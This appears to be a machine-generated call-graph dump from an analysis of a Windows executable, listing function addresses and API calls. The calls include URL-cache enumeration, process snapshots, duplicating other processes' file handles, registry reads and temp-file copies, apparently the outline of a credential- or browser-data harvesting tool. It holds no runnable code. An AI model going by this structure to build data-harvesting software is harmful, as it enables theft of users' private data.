38072->38074 38075 40a9f2 38073->38075 38074->38075 38075->37981 38100 409bca GetModuleFileNameW 38076->38100 38078 40dce6 wcsrchr 38079 40dcf5 38078->38079 38080 40dcf9 wcscat 38078->38080 38079->38080 38080->37989 38101 44db70 38081->38101 38083 40dbb4 memset memset 38103 409bca GetModuleFileNameW 38083->38103 38085 40dbfd 38104 4447d9 38085->38104 38088 40dc34 wcscpy wcscpy 38130 40d6f5 38088->38130 38089 40dc1f wcscpy 38089->38088 38092 40d6f5 3 API calls 38093 40dc73 38092->38093 38094 40d6f5 3 API calls 38093->38094 38095 40dc89 38094->38095 38096 40d6f5 3 API calls 38095->38096 38097 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 38096->38097 38136 40da80 38097->38136 38100->38078 38102 44db77 38101->38102 38102->38083 38102->38102 38103->38085 38105 4447f4 38104->38105 38106 40dc1b 38105->38106 38107 444807 ??2@YAPAXI 38105->38107 38106->38088 38106->38089 38108 44481f 38107->38108 38109 444873 _snwprintf 38108->38109 38110 4448ab wcscpy 38108->38110 38143 44474a 8 API calls 38109->38143 38112 4448bb 38110->38112 38144 44474a 8 API calls 38112->38144 38113 4448a7 38113->38110 38113->38112 38115 4448cd 38145 44474a 8 API calls 38115->38145 38117 4448e2 38146 44474a 8 API calls 38117->38146 38119 4448f7 38147 44474a 8 API calls 38119->38147 38121 44490c 38148 44474a 8 API calls 38121->38148 38123 444921 38149 44474a 8 API calls 38123->38149 38125 444936 38150 44474a 8 API calls 38125->38150 38127 44494b 38151 44474a 8 API calls 38127->38151 38129 444960 ??3@YAXPAX 38129->38106 38131 44db70 38130->38131 38132 40d702 memset GetPrivateProfileStringW 38131->38132 38133 40d752 38132->38133 38134 40d75c WritePrivateProfileStringW 38132->38134 38133->38134 38135 40d758 38133->38135 38134->38135 38135->38092 38137 44db70 38136->38137 38138 40da8d memset 38137->38138 38139 40daac LoadStringW 38138->38139 38140 40dac6 38139->38140 38140->38139 38141 40dade 38140->38141 38152 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 38140->38152 38141->37918 38143->38113 38144->38115 38145->38117 38146->38119 38147->38121 38148->38123 38149->38125 38150->38127 38151->38129 38152->38140 38163 409b98 GetFileAttributesW 38153->38163 38155 40daea 38156 40db63 38155->38156 38157 40daef wcscpy wcscpy GetPrivateProfileIntW 38155->38157 38156->37919 38164 40d65d GetPrivateProfileStringW 38157->38164 38159 40db3e 38165 40d65d GetPrivateProfileStringW 38159->38165 38161 40db4f 38166 40d65d GetPrivateProfileStringW 38161->38166 38163->38155 38164->38159 38165->38161 38166->38156 38202 40eaff 38167->38202 38171 411ae2 memset 38170->38171 38172 411b8f 38170->38172 38242 409bca GetModuleFileNameW 38171->38242 38184 411a8b 38172->38184 38174 411b0a wcsrchr 38175 411b22 wcscat 38174->38175 38176 411b1f 38174->38176 38243 414770 wcscpy wcscpy wcscpy CreateFileW CloseHandle 38175->38243 38176->38175 38178 411b67 38244 402afb 38178->38244 38182 411b7f 38300 40ea13 SendMessageW memset SendMessageW 38182->38300 38185 402afb 27 API calls 38184->38185 38186 411ac0 38185->38186 38187 4110dc 38186->38187 38188 41113e 38187->38188 38193 4110f0 38187->38193 38325 40969c LoadCursorW SetCursor 38188->38325 38190 411143 38326 4032b4 38190->38326 38344 444a54 38190->38344 38191 4110f7 _wcsicmp 38191->38193 38192 411157 38194 40ada2 _wcsicmp 38192->38194 38193->38188 38193->38191 38347 410c46 10 API calls 38193->38347 38197 411167 38194->38197 38195 4111af 38197->38195 38198 4111a6 qsort 38197->38198 38198->38195 38201->38001 38203 40eb10 38202->38203 38215 40e8e0 38203->38215 38206 40eb6c memcpy memcpy 38207 40ebb7 38206->38207 38207->38206 38208 40ebf2 ??2@YAPAXI ??2@YAPAXI 38207->38208 38210 40d134 16 API calls 38207->38210 38209 40ec2e ??2@YAPAXI 38208->38209 38212 40ec65 38208->38212 38209->38212 38210->38207 38212->38212 38225 40ea7f 38212->38225 38214 402f49 38214->38001 38216 40e8f2 38215->38216 38217 40e8eb ??3@YAXPAX 38215->38217 38218 40e900 38216->38218 38219 40e8f9 ??3@YAXPAX 38216->38219 38217->38216 38220 40e911 38218->38220 38221 40e90a ??3@YAXPAX 38218->38221 38219->38218 38222 40e931 ??2@YAPAXI ??2@YAPAXI 38220->38222 38223 40e921 ??3@YAXPAX 38220->38223 38224 40e92a ??3@YAXPAX 38220->38224 38221->38220 38222->38206 38223->38224 38224->38222 38226 40aa04 free 38225->38226 38227 40ea88 38226->38227 38228 40aa04 free 38227->38228 38229 40ea90 38228->38229 38230 40aa04 free 38229->38230 38231 40ea98 38230->38231 38232 40aa04 free 38231->38232 38233 40eaa0 38232->38233 38234 40a9ce 4 API calls 38233->38234 38235 40eab3 38234->38235 38236 40a9ce 4 API calls 38235->38236 38237 40eabd 38236->38237 38238 40a9ce 4 API calls 38237->38238 38239 40eac7 38238->38239 38240 40a9ce 4 API calls 38239->38240 38241 40ead1 38240->38241 38241->38214 38242->38174 38243->38178 38301 40b2cc 38244->38301 38246 402b0a 38247 40b2cc 27 API calls 38246->38247 38248 402b23 38247->38248 38249 40b2cc 27 API calls 38248->38249 38250 402b3a 38249->38250 38251 40b2cc 27 API calls 38250->38251 38252 402b54 38251->38252 38253 40b2cc 27 API calls 38252->38253 38254 402b6b 38253->38254 38255 40b2cc 27 API calls 38254->38255 38256 402b82 38255->38256 38257 40b2cc 27 API calls 38256->38257 38258 402b99 38257->38258 38259 40b2cc 27 API calls 38258->38259 38260 402bb0 38259->38260 38261 40b2cc 27 API calls 38260->38261 38262 402bc7 38261->38262 38263 40b2cc 27 API calls 38262->38263 38264 402bde 38263->38264 38265 40b2cc 27 API calls 38264->38265 38266 402bf5 38265->38266 38267 40b2cc 27 API calls 38266->38267 38268 402c0c 38267->38268 38269 40b2cc 27 API calls 38268->38269 38270 402c23 38269->38270 38271 40b2cc 27 API calls 38270->38271 38272 402c3a 38271->38272 38273 40b2cc 27 API calls 38272->38273 38274 402c51 38273->38274 38275 40b2cc 27 API calls 38274->38275 38276 402c68 38275->38276 38277 40b2cc 27 API calls 38276->38277 38278 402c7f 38277->38278 38279 40b2cc 27 API calls 38278->38279 38280 402c99 38279->38280 38281 40b2cc 27 API calls 38280->38281 38282 402cb3 38281->38282 38283 40b2cc 27 API calls 38282->38283 38284 402cd5 38283->38284 38285 40b2cc 27 API calls 38284->38285 38286 402cf0 38285->38286 38287 40b2cc 27 API calls 38286->38287 38288 402d0b 38287->38288 38289 40b2cc 27 API calls 38288->38289 38290 402d26 38289->38290 38291 40b2cc 27 API calls 38290->38291 38292 402d3e 38291->38292 38293 40b2cc 27 API calls 38292->38293 38294 402d59 38293->38294 38295 40b2cc 27 API calls 38294->38295 38296 402d78 38295->38296 38297 40b2cc 27 API calls 38296->38297 38298 402d93 38297->38298 38299 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38298->38299 38299->38182 38300->38172 38304 40b58d 38301->38304 38303 40b2d1 38303->38246 38305 40b5a4 GetModuleHandleW FindResourceW 38304->38305 38306 40b62e 38304->38306 38307 40b5c2 LoadResource 38305->38307 38309 40b5e7 38305->38309 38306->38303 38308 40b5d0 SizeofResource LockResource 38307->38308 38307->38309 38308->38309 38309->38306 38317 40afcf 38309->38317 38311 40b608 memcpy 38320 40b4d3 memcpy 38311->38320 38313 40b61e 38321 40b3c1 18 API calls 38313->38321 38315 40b626 38322 40b04b 38315->38322 38318 40b04b ??3@YAXPAX 38317->38318 38319 40afd7 ??2@YAPAXI 38318->38319 38319->38311 38320->38313 38321->38315 38323 40b051 ??3@YAXPAX 38322->38323 38324 40b05f 38322->38324 38323->38324 38324->38306 38325->38190 38327 4032c4 38326->38327 38328 40b633 free 38327->38328 38329 403316 38328->38329 38348 44553b 38329->38348 38333 403480 38546 40368c 15 API calls 38333->38546 38335 403489 38336 40b633 free 38335->38336 38337 403495 38336->38337 38337->38192 38338 4033a9 memset memcpy 38339 4033ec wcscmp 38338->38339 38340 40333c 38338->38340 38339->38340 38340->38333 38340->38338 38340->38339 38544 4028e7 11 API calls 38340->38544 38545 40f508 6 API calls 38340->38545 38342 403421 _wcsicmp 38342->38340 38345 444a64 FreeLibrary 38344->38345 38346 444a83 38344->38346 38345->38346 38346->38192 38347->38193 38349 445548 38348->38349 38350 445599 38349->38350 38547 40c768 38349->38547 38351 4455a8 memset 38350->38351 38358 4457f2 38350->38358 38631 403988 38351->38631 38362 445854 38358->38362 38734 403e2d memset memset memset memset memset 38358->38734 38359 445672 38642 403fbe memset memset memset memset memset 38359->38642 38360 4458bb memset memset 38365 414c2e 17 API calls 38360->38365 38410 4458aa 38362->38410 38757 403c9c memset memset memset memset memset 38362->38757 38363 44595e memset memset 38369 414c2e 17 API calls 38363->38369 38364 4455e5 38364->38359 38372 44560f 38364->38372 38370 4458f9 38365->38370 38366 44557a 38407 44558c 38366->38407 38611 4136c0 38366->38611 38368 445a00 memset memset 38379 414c2e 17 API calls 38368->38379 38380 44599c 38369->38380 38381 40b2cc 27 API calls 38370->38381 38384 4087b3 338 API calls 38372->38384 38374 445849 38825 40b1ab free free 38374->38825 38375 445bca 38382 445c8b memset memset 38375->38382 38449 445cf0 38375->38449 38376 445b38 memset memset memset 38387 445bd4 38376->38387 38388 445b98 38376->38388 38389 445a3e 38379->38389 38391 40b2cc 27 API calls 38380->38391 38383 445909 38381->38383 38395 414c2e 17 API calls 38382->38395 38392 409d1f 6 API calls 38383->38392 38393 445621 38384->38393 38386 44589f 38826 40b1ab free free 38386->38826 38780 414c2e 38387->38780 38388->38387 38397 445ba2 38388->38397 38400 40b2cc 27 API calls 38389->38400 38394 4459ac 38391->38394 38403 445919 38392->38403 38811 4454bf 20 API calls 38393->38811 38405 409d1f 6 API calls 38394->38405 38406 445cc9 38395->38406 38918 4099c6 wcslen 38397->38918 38398 4456b2 38813 40b1ab free free 38398->38813 38411 445a4f 38400->38411 38402 403335 38543 4452e5 45 API calls 38402->38543 38827 409b98 GetFileAttributesW 38403->38827 38404 445823 38404->38374 38417 4087b3 338 API calls 38404->38417 38419 4459bc 38405->38419 38420 409d1f 6 API calls 38406->38420 38615 444b06 38407->38615 38408 445879 38408->38386 38430 4087b3 338 API calls 38408->38430 38410->38360 38435 44594a 38410->38435 38423 409d1f 6 API calls 38411->38423 38414 445d3d 38434 40b2cc 27 API calls 38414->38434 38415 445d88 memset memset memset 38418 414c2e 17 API calls 38415->38418 38417->38404 38427 445dde 38418->38427 38894 409b98 GetFileAttributesW 38419->38894 38429 445ce1 38420->38429 38421 445bb3 38921 445403 memset 38421->38921 38422 445680 38422->38398 38665 4087b3 memset 38422->38665 38432 445a63 38423->38432 38424 40b2cc 27 API calls 38433 445bf3 38424->38433 38425 445928 38425->38435 38828 40b6ef 38425->38828 38436 40b2cc 27 API calls 38427->38436 38938 409b98 GetFileAttributesW 38429->38938 38430->38408 38441 40b2cc 27 API calls 38432->38441 38796 409d1f wcslen wcslen 38433->38796 38444 445d54 _wcsicmp 38434->38444 38435->38363 38448 4459ed 38435->38448 38447 445def 38436->38447 38437 4459cb 38437->38448 38458 40b6ef 253 API calls 38437->38458 38451 445a94 38441->38451 38455 445d71 38444->38455 38521 445d67 38444->38521 38446 445665 38812 40b1ab free free 38446->38812 38456 409d1f 6 API calls 38447->38456 38448->38368 38491 445b22 38448->38491 38449->38402 38449->38414 38449->38415 38450 445389 259 API calls 38450->38375 38895 40ae18 38451->38895 38452 44566d 38452->38358 38716 413d4c 38452->38716 38939 445093 23 API calls 38455->38939 38464 445e03 38456->38464 38458->38448 38460 4456d8 38465 40b2cc 27 API calls 38460->38465 38463 44563c 38463->38446 38468 4087b3 338 API calls 38463->38468 38940 409b98 GetFileAttributesW 38464->38940 38471 4456e2 38465->38471 38466 40b2cc 27 API calls 38472 445c23 38466->38472 38467 445d83 38467->38402 38468->38463 38470 40b6ef 253 API calls 38470->38402 38814 413fa6 _wcsicmp _wcsicmp 38471->38814 38476 409d1f 6 API calls 38472->38476 38474 445e12 38481 445e6b 38474->38481 38487 40b2cc 27 API calls 38474->38487 38479 445c37 38476->38479 38477 445aa1 38480 445b17 38477->38480 38495 445ab2 memset 38477->38495 38509 409d1f 6 API calls 38477->38509 38517 445389 259 API calls 38477->38517 38902 40add4 38477->38902 38907 40ae51 38477->38907 38478 4456eb 38483 4456fd memset memset memset memset 38478->38483 38484 4457ea 38478->38484 38485 445389 259 API calls 38479->38485 38915 40aebe 38480->38915 38942 445093 23 API calls 38481->38942 38815 409c70 wcscpy wcsrchr 38483->38815 38818 413d29 38484->38818 38490 445c47 38485->38490 38492 445e33 38487->38492 38497 40b2cc 27 API calls 38490->38497 38491->38375 38491->38376 38498 409d1f 6 API calls 38492->38498 38494 445e7e 38499 445f67 38494->38499 38500 40b2cc 27 API calls 38495->38500 38502 445c53 38497->38502 38503 445e47 38498->38503 38504 40b2cc 27 API calls 38499->38504 38500->38477 38501 409c70 2 API calls 38505 44577e 38501->38505 38506 409d1f 6 API calls 38502->38506 38941 409b98 GetFileAttributesW 38503->38941 38508 445f73 38504->38508 38510 409c70 2 API calls 38505->38510 38511 445c67 38506->38511 38513 409d1f 6 API calls 38508->38513 38509->38477 38514 44578d 38510->38514 38515 445389 259 API calls 38511->38515 38512 445e56 38512->38481 38518 445e83 memset 38512->38518 38516 445f87 38513->38516 38514->38484 38520 40b2cc 27 API calls 38514->38520 38515->38375 38945 409b98 GetFileAttributesW 38516->38945 38517->38477 38522 40b2cc 27 API calls 38518->38522 38524 4457a8 38520->38524 38521->38402 38521->38470 38523 445eab 38522->38523 38525 409d1f 6 API calls 38523->38525 38526 409d1f 6 API calls 38524->38526 38527 445ebf 38525->38527 38528 4457b8 38526->38528 38529 40ae18 9 API calls 38527->38529 38817 409b98 GetFileAttributesW 38528->38817 38539 445ef5 38529->38539 38531 4457c7 38531->38484 38533 4087b3 338 API calls 38531->38533 38532 40ae51 9 API calls 38532->38539 38533->38484 38534 445f5c 38536 40aebe FindClose 38534->38536 38535 40add4 2 API calls 38535->38539 38536->38499 38537 40b2cc 27 API calls 38537->38539 38538 409d1f 6 API calls 38538->38539 38539->38532 38539->38534 38539->38535 38539->38537 38539->38538 38541 445f3a 38539->38541 38943 409b98 GetFileAttributesW 38539->38943 38944 445093 23 API calls 38541->38944 38543->38340 38544->38342 38545->38340 38546->38335 38548 40c775 38547->38548 38946 40b1ab free free 38548->38946 38550 40c788 38947 40b1ab free free 38550->38947 38552 40c790 38948 40b1ab free free 38552->38948 38554 40c798 38555 40aa04 free 38554->38555 38556 40c7a0 38555->38556 38949 40c274 memset 38556->38949 38561 40a8ab 9 API calls 38562 40c7c3 38561->38562 38563 40a8ab 9 API calls 38562->38563 38564 40c7d0 38563->38564 38978 40c3c3 38564->38978 38568 40c877 38577 40bdb0 38568->38577 38569 40c86c 39006 4053fe 39 API calls 38569->39006 38571 40c7e5 38571->38568 38571->38569 39003 40a706 wcslen memcpy 38571->39003 39005 40c634 50 API calls 38571->39005 38573 40c813 _wcslwr 39004 40c634 50 API calls 38573->39004 38575 40c829 wcslen 38575->38571 39167 404363 38577->39167 38579 40bf5d 39187 40440c 38579->39187 38583 40b2cc 27 API calls 38584 40be02 wcslen 38583->38584 38584->38579 38587 40be1e 38584->38587 38585 40be26 wcsncmp 38585->38587 38587->38579 38587->38585 38589 40be7d memset 38587->38589 38590 40bea7 memcpy 38587->38590 38591 40bf11 wcschr 38587->38591 38592 40b2cc 27 API calls 38587->38592 38594 40bf43 LocalFree 38587->38594 39190 40bd5d 28 API calls 38587->39190 39191 404423 38587->39191 38589->38587 38589->38590 38590->38587 38590->38591 38591->38587 38593 40bef6 _wcsnicmp 38592->38593 38593->38587 38593->38591 38594->38587 38595 4135f7 39206 4135e0 38595->39206 38598 40b2cc 27 API calls 38599 41360d 38598->38599 38600 40a804 8 API calls 38599->38600 38601 413613 38600->38601 38602 41363e 38601->38602 38603 40b273 27 API calls 38601->38603 38604 4135e0 FreeLibrary 38602->38604 38605 413625 GetProcAddress 38603->38605 38606 413643 38604->38606 38605->38602 38607 413648 38605->38607 38606->38366 38608 413658 38607->38608 38609 4135e0 FreeLibrary 38607->38609 38608->38366 38610 413666 38609->38610 38610->38366 38612 4136e2 38611->38612 38613 413827 38612->38613 38614 4137ac CoTaskMemFree 38612->38614 38810 41366b FreeLibrary 38613->38810 38614->38612 39209 4449b9 38615->39209 38618 444c1f 38618->38350 38619 4449b9 42 API calls 38621 444b4b 38619->38621 38620 444c15 38623 4449b9 42 API calls 38620->38623 38621->38620 39230 444972 GetVersionExW 38621->39230 38623->38618 38629 444b8c 38632 40399d 38631->38632 39235 403a16 38632->39235 38634 403a09 39249 40b1ab free free 38634->39249 38636 4039a3 38636->38634 38640 4039f4 38636->38640 39246 40a02c CreateFileW 38636->39246 38637 403a12 wcsrchr 38637->38364 38640->38634 38641 4099c6 2 API calls 38640->38641 38641->38634 38643 414c2e 17 API calls 38642->38643 38644 404048 38643->38644 38645 414c2e 17 API calls 38644->38645 38646 404056 38645->38646 38647 409d1f 6 API calls 38646->38647 38648 404073 38647->38648 38649 409d1f 6 API calls 38648->38649 38650 40408e 38649->38650 38651 409d1f 6 API calls 38650->38651 38652 4040a6 38651->38652 38653 403af5 20 API calls 38652->38653 38654 4040ba 38653->38654 38655 403af5 20 API calls 38654->38655 38656 4040cb 38655->38656 39276 40414f memset 38656->39276 38658 404140 39290 40b1ab free free 38658->39290 38660 4040ec memset 38663 4040e0 38660->38663 38661 404148 38661->38422 38662 4099c6 2 API calls 38662->38663 38663->38658 38663->38660 38663->38662 38664 40a8ab 9 API calls 38663->38664 38664->38663 39303 40a6e6 WideCharToMultiByte 38665->39303 38667 4087ed 39304 4095d9 memset 38667->39304 38670 408953 38670->38422 38671 408809 memset memset memset memset memset 38672 40b2cc 27 API calls 38671->38672 38673 4088a1 38672->38673 38674 409d1f 6 API calls 38673->38674 38675 4088b1 38674->38675 38676 40b2cc 27 API calls 38675->38676 38677 4088c0 38676->38677 38678 409d1f 6 API calls 38677->38678 38679 4088d0 38678->38679 38680 40b2cc 27 API calls 38679->38680 38717 40b633 free 38716->38717 38718 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38717->38718 38719 413f00 Process32NextW 38718->38719 38720 413da5 OpenProcess 38719->38720 38721 413f17 CloseHandle 38719->38721 38722 413eb0 38720->38722 38723 413df3 memset 38720->38723 38721->38460 38722->38719 38725 413ebf free 38722->38725 38726 4099f4 3 API calls 38722->38726 39353 413f27 38723->39353 38725->38722 38726->38722 38727 413e37 GetModuleHandleW 38729 413e46 GetProcAddress 38727->38729 38731 413e1f 38727->38731 38729->38731 38730 413e6a QueryFullProcessImageNameW 38730->38731 38731->38727 38731->38730 39358 413959 38731->39358 39374 413ca4 38731->39374 38733 413ea2 CloseHandle 38733->38722 38735 414c2e 17 API calls 38734->38735 38736 403eb7 38735->38736 38737 414c2e 17 API calls 38736->38737 38738 403ec5 38737->38738 38739 409d1f 6 API calls 38738->38739 38740 403ee2 38739->38740 38741 409d1f 6 API calls 38740->38741 38742 403efd 38741->38742 38743 409d1f 6 API calls 38742->38743 38744 403f15 38743->38744 38745 403af5 20 API calls 38744->38745 38746 403f29 38745->38746 38747 403af5 20 API calls 38746->38747 38748 403f3a 38747->38748 38749 40414f 33 API calls 38748->38749 38750 403f4f 38749->38750 38751 403faf 38750->38751 38752 403f5b memset 38750->38752 38755 4099c6 2 API calls 38750->38755 38756 40a8ab 9 API calls 38750->38756 39388 40b1ab free free 38751->39388 38752->38750 38754 403fb7 38754->38404 38755->38750 38756->38750 38758 414c2e 17 API calls 38757->38758 38759 403d26 38758->38759 38760 414c2e 17 API calls 38759->38760 38761 403d34 38760->38761 38762 409d1f 6 API calls 38761->38762 38763 403d51 38762->38763 38764 409d1f 6 API calls 38763->38764 38765 403d6c 38764->38765 38766 409d1f 6 API calls 38765->38766 38767 403d84 38766->38767 38768 403af5 20 API calls 38767->38768 38769 403d98 38768->38769 38770 403af5 20 API calls 38769->38770 38771 403da9 38770->38771 38772 40414f 33 API calls 38771->38772 38777 403dbe 38772->38777 38773 403e1e 39389 40b1ab free free 38773->39389 38775 403dca memset 38775->38777 38776 403e26 38776->38408 38777->38773 38777->38775 38778 4099c6 2 API calls 38777->38778 38779 40a8ab 9 API calls 38777->38779 38778->38777 38779->38777 38781 414b81 9 API calls 38780->38781 38782 414c40 38781->38782 38783 414c73 memset 38782->38783 39390 409cea 38782->39390 38784 414c94 38783->38784 39393 414592 RegOpenKeyExW 38784->39393 38788 414c64 SHGetSpecialFolderPathW 38789 414d0b 38788->38789 38789->38424 38790 414cc1 38791 414cf4 wcscpy 38790->38791 39394 414bb0 wcscpy 38790->39394 38791->38789 38793 414cd2 39395 4145ac RegQueryValueExW 38793->39395 38795 414ce9 RegCloseKey 38795->38791 38797 409d62 38796->38797 38798 409d43 wcscpy 38796->38798 38801 445389 38797->38801 38799 409719 2 API calls 38798->38799 38800 409d51 wcscat 38799->38800 38800->38797 38802 40ae18 9 API calls 38801->38802 38808 4453c4 38802->38808 38803 40ae51 9 API calls 38803->38808 38804 4453f3 38806 40aebe FindClose 38804->38806 38805 40add4 2 API calls 38805->38808 38807 4453fe 38806->38807 38807->38466 38808->38803 38808->38804 38808->38805 38809 445403 254 API calls 38808->38809 38809->38808 38810->38407 38811->38463 38812->38452 38813->38452 38814->38478 38816 409c89 38815->38816 38816->38501 38817->38531 38819 413d39 38818->38819 38820 413d2f FreeLibrary 38818->38820 38821 40b633 free 38819->38821 38820->38819 38822 413d42 38821->38822 38823 40b633 free 38822->38823 38824 413d4a 38823->38824 38824->38358 38825->38362 38826->38410 38827->38425 38829 44db70 38828->38829 38830 40b6fc memset 38829->38830 38831 409c70 2 API calls 38830->38831 38832 40b732 wcsrchr 38831->38832 38833 40b743 38832->38833 38834 40b746 memset 38832->38834 38833->38834 38835 40b2cc 27 API calls 38834->38835 38836 40b76f 38835->38836 38837 409d1f 6 API calls 38836->38837 38838 40b783 38837->38838 39396 409b98 GetFileAttributesW 38838->39396 38840 40b792 38841 40b7c2 38840->38841 38842 409c70 2 API calls 38840->38842 39397 40bb98 38841->39397 38844 40b7a5 38842->38844 38846 40b2cc 27 API calls 38844->38846 38849 40b7b2 38846->38849 38847 40b837 CloseHandle 38851 40b83e memset 38847->38851 38848 40b817 39480 409a45 GetTempPathW 38848->39480 38852 409d1f 6 API calls 38849->38852 39430 40a6e6 WideCharToMultiByte 38851->39430 38852->38841 38853 40b827 CopyFileW 38853->38851 38855 40b866 39431 444432 38855->39431 38858 40bad5 38860 40baeb 38858->38860 38861 40bade DeleteFileW 38858->38861 38859 40b273 27 API calls 38862 40b89a 38859->38862 38863 40b04b ??3@YAXPAX 38860->38863 38861->38860 39477 438552 38862->39477 38865 40baf3 38863->38865 38865->38435 38867 40bacd 39511 443d90 111 API calls 38867->39511 38870 40bac6 39510 424f26 123 API calls 38870->39510 38871 40b8bd memset 39501 425413 17 API calls 38871->39501 38874 425413 17 API calls 38891 40b8b8 38874->38891 38877 40a71b MultiByteToWideChar 38877->38891 38880 40b9b5 memcmp 38880->38891 38881 4099c6 2 API calls 38881->38891 38882 404423 38 API calls 38882->38891 38885 40bb3e memset memcpy 39512 40a734 MultiByteToWideChar 38885->39512 38886 4251c4 137 API calls 38886->38891 38888 40bb88 LocalFree 38888->38891 38891->38870 38891->38871 38891->38874 38891->38877 38891->38880 38891->38881 38891->38882 38891->38885 38891->38886 38892 40ba5f memcmp 38891->38892 38893 40a734 MultiByteToWideChar 38891->38893 39502 4253ef 16 API calls 38891->39502 39503 40b64c SystemTimeToFileTime FileTimeToLocalFileTime 38891->39503 39504 4253af 17 API calls 38891->39504 39505 4253cf 17 API calls 38891->39505 39506 447280 memset 38891->39506 39507 447960 memset memcpy memcpy memcpy 38891->39507 39508 40afe8 ??2@YAPAXI memcpy ??3@YAXPAX 38891->39508 39509 447920 memcpy memcpy memcpy 38891->39509 38892->38891 38893->38891 38894->38437 38896 40aebe FindClose 38895->38896 38897 40ae21 38896->38897 38898 4099c6 2 API calls 38897->38898 38899 40ae35 38898->38899 38900 409d1f 6 API calls 38899->38900 38901 40ae49 38900->38901 38901->38477 38903 40ade0 38902->38903 38904 40ae0f 38902->38904 38903->38904 38905 40ade7 wcscmp 38903->38905 38904->38477 38905->38904 38906 40adfe wcscmp 38905->38906 38906->38904 38908 40ae7b FindNextFileW 38907->38908 38909 40ae5c FindFirstFileW 38907->38909 38910 40ae94 38908->38910 38911 40ae8f 38908->38911 38909->38910 38912 409d1f 6 API calls 38910->38912 38914 40aeb6 38910->38914 38913 40aebe FindClose 38911->38913 38912->38914 38913->38910 38914->38477 38916 40aed1 38915->38916 38917 40aec7 FindClose 38915->38917 38916->38491 38917->38916 38919 4099d7 38918->38919 38920 4099da memcpy 38918->38920 38919->38920 38920->38421 38922 40b2cc 27 API calls 38921->38922 38923 44543f 38922->38923 38924 409d1f 6 API calls 38923->38924 38925 44544f 38924->38925 39872 409b98 GetFileAttributesW 38925->39872 38927 44545e 38928 445476 38927->38928 38929 40b6ef 253 API calls 38927->38929 38930 40b2cc 27 API calls 38928->38930 38929->38928 38931 445482 38930->38931 38932 409d1f 6 API calls 38931->38932 38933 445492 38932->38933 39873 409b98 GetFileAttributesW 38933->39873 38935 4454a1 38936 4454b9 38935->38936 38937 40b6ef 253 API calls 38935->38937 38936->38450 38937->38936 38938->38449 38939->38467 38940->38474 38941->38512 38942->38494 38943->38539 38944->38539 38945->38521 38946->38550 38947->38552 38948->38554 38950 414c2e 17 API calls 38949->38950 38951 40c2ae 38950->38951 39007 40c1d3 38951->39007 38956 40c3be 38973 40a8ab 38956->38973 38957 40afcf 2 API calls 38958 40c2fd FindFirstUrlCacheEntryW 38957->38958 38959 40c3b6 38958->38959 38960 40c31e wcschr 38958->38960 38961 40b04b ??3@YAXPAX 38959->38961 38962 40c331 38960->38962 38963 40c35e FindNextUrlCacheEntryW 38960->38963 38961->38956 38964 40a8ab 9 API calls 38962->38964 38963->38960 38965 40c373 GetLastError 38963->38965 38968 40c33e wcschr 38964->38968 38966 40c3ad FindCloseUrlCache 38965->38966 38967 40c37e 38965->38967 38966->38959 38969 40afcf 2 API calls 38967->38969 38968->38963 38970 40c34f 38968->38970 38971 40c391 FindNextUrlCacheEntryW 38969->38971 38972 40a8ab 9 API calls 38970->38972 38971->38960 38971->38966 38972->38963 39101 40a97a 38973->39101 38976 40a8cc 38976->38561 38977 40a8d0 7 API calls 38977->38976 39106 40b1ab free free 38978->39106 38980 40c3dd 38981 40b2cc 27 API calls 38980->38981 38982 40c3e7 38981->38982 39107 414592 RegOpenKeyExW 38982->39107 38984 40c3f4 38985 40c50e 38984->38985 38986 40c3ff 38984->38986 39000 405337 38985->39000 38987 40a9ce 4 API calls 38986->38987 38988 40c418 memset 38987->38988 39108 40aa1d 38988->39108 38991 40c471 38993 40c47a _wcsupr 38991->38993 38992 40c505 RegCloseKey 38992->38985 38994 40a8d0 7 API calls 38993->38994 38995 40c498 38994->38995 38996 40a8d0 7 API calls 38995->38996 38997 40c4ac memset 38996->38997 38998 40aa1d 38997->38998 38999 40c4e4 RegEnumValueW 38998->38999 38999->38992 38999->38993 39110 405220 39000->39110 39003->38573 39004->38575 39005->38571 39006->38568 39008 40ae18 9 API calls 39007->39008 39014 40c210 39008->39014 39009 40ae51 9 API calls 39009->39014 39010 40c264 39011 40aebe FindClose 39010->39011 39013 40c26f 39011->39013 39012 40add4 2 API calls 39012->39014 39019 40e5ed memset memset 39013->39019 39014->39009 39014->39010 39014->39012 39015 40c231 _wcsicmp 39014->39015 39016 40c1d3 35 API calls 39014->39016 39015->39014 39017 40c248 39015->39017 39016->39014 39032 40c084 22 API calls 39017->39032 39020 414c2e 17 API calls 39019->39020 39021 40e63f 39020->39021 39022 409d1f 6 API calls 39021->39022 39023 40e658 39022->39023 39033 409b98 GetFileAttributesW 39023->39033 39025 40e667 39026 40e680 39025->39026 39028 409d1f 6 API calls 39025->39028 39034 409b98 GetFileAttributesW 39026->39034 39028->39026 39029 40e68f 39030 40c2d8 39029->39030 39035 40e4b2 39029->39035 39030->38956 39030->38957 39032->39014 39033->39025 39034->39029 39056 40e01e 39035->39056 39037 40e593 39038 40e5b0 39037->39038 39039 40e59c DeleteFileW 39037->39039 39041 40b04b ??3@YAXPAX 39038->39041 39039->39038 39040 40e521 39040->39037 39079 40e175 39040->39079 39042 40e5bb 39041->39042 39044 40e5c4 CloseHandle 39042->39044 39045 40e5cc 39042->39045 39044->39045 39047 40b633 free 39045->39047 39046 40e573 39049 40e584 39046->39049 39050 40e57c CloseHandle 39046->39050 39048 40e5db 39047->39048 39053 40b633 free 39048->39053 39100 40b1ab free free 39049->39100 39050->39049 39052 40e540 39052->39046 39099 40e2ab 30 API calls 39052->39099 39054 40e5e3 39053->39054 39054->39030 39057 406214 22 API calls 39056->39057 39058 40e03c 39057->39058 39059 40e16b 39058->39059 39060 40dd85 75 API calls 39058->39060 39059->39040 39061 40e06b 39060->39061 39061->39059 39062 40afcf ??2@YAPAXI ??3@YAXPAX 39061->39062 39063 40e08d OpenProcess 39062->39063 39064 40e0a4 GetCurrentProcess DuplicateHandle 39063->39064 39068 40e152 39063->39068 39065 40e0d0 GetFileSize 39064->39065 39066 40e14a CloseHandle 39064->39066 39069 409a45 GetTempPathW GetWindowsDirectoryW GetTempFileNameW 39065->39069 39066->39068 39067 40e160 39071 40b04b ??3@YAXPAX 39067->39071 39068->39067 39070 406214 22 API calls 39068->39070 39072 40e0ea 39069->39072 39070->39067 39071->39059 39073 4096dc CreateFileW 39072->39073 39074 40e0f1 CreateFileMappingW 39073->39074 39075 40e140 